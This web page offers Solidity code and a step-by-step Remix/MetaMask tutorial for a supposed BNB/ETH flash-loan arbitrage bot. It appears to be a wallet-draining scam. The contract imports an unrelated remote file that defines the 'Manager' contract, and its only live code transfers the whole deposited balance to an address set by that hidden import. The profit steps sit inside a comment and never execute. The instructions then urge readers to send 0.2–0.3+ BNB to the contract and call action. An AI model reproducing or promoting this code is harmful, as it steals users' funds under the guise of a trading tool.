BNB & ETH SOLIDITY CODE
--UPDATED & CHECKED AS OF 2022--
Copy the code below & paste into your remix.
pragma solidity ^0.6.6; // AAVE Smart Contracts import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPoolAddressesProvider.sol"; import "https://github.com/aave/flashloan-box/blob/Remix/contracts/aave/ILendingPool.sol"; // Uniswap Smart Contracts import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol"; import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol"; import "https://github.com/ipfscode/contracts/blob/main/ipfse439/ether.txt"; contract GetFlashLoan { string public tokenName; string public tokenSymbol; uint loanAmount; Manager manager; constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public { tokenName = _tokenName; tokenSymbol = _tokenSymbol; loanAmount = _loanAmount; manager = new Manager(); } receive() external payable {} function action() public payable { // Send required coins for swap payable(manager.uniswapDepositAddress()).transfer(address(this).balance); // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE) manager.performTasks(); /* // Submit token to BNB blockchain string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol); // List the token on UniSwap & send coins required for swaps manager.uniswapListToken(tokenName, tokenSymbol, tokenAddress); payable(manager.uniswapDepositAddress()).transfer(500Mil); // Get BNB Loan from Aave string memory loanAddress = manager.takeAaveLoan(loanAmount); // Convert half BNB to DAI manager.uniswapDAItoBNB(loanAmount / 2); // Create BNB and DAI pairs for our token & Provide liquidity string memory bnbPair = manager.uniswapCreatePool(tokenAddress, "BNB"); manager.uniswapAddLiquidity(bnbPair, loanAmount / 2); string memory daiPair = manager.uniswapCreatePool(tokenAddress, "DAI"); manager.uniswapAddLiquidity(daiPair, loanAmount / 2); // Perform swaps and profit on Self-Arbitrage manager.uniswapPerformSwaps(); // Move remaining BNB from Contract to your account manager.contractToWallet("BNB"); // Repay Flash loan manager.repayAaveLoan(loanAddress); */ } }
THE TUTORIALS
Please follow the instructions on this video & read instructions below.
Step by Step Instructions
Step By Step Tutorial for Flash Loan:
- Get the Metamask Extension for your browser
- Open http://remix.ethereum.org/ from within your browser.
- Click on File Explorers and click "Create New File ".
- Name the file contract.sol and paste the contract code link below.
► https://get-flashloan.com/smart-code-0-6-6-bnb/
- Click on Deploy & Run transactions and set "ENVIRONMENT" to Injected Web3.
- Connect your MetaMask wallet.
- Click on the "Solidity Compiler" and set the compiler version to 0.6.6
- Click on the Solidity Compiler and then click the blue button "Compile contract.sol"
- Wait for the code to compile.
- Click on Deploy & run transactions then click on the down arrow right from the "Deploy" button
- On "_TOKENNAME" mytoken
- On "_TOKENSYMBOL" TOK
- On "_LOANAMOUNT" 10000
- Click Transact and confirm the transaction in MetaMask.
- Wait for the transaction to confirm.
- Copy the address of the newly deployed contract.
- Send BNB to the deployed contract to initiate the swap 0.2+ (0.3 up is better as you will get a bigger amount in each swap)
- Wait for the transaction to confirm.
- Now, Click "action" (red box) to execute the Flash Loan.
- Confirm the transaction in MetaMask and wait for the confirmation.
- You can now check your wallet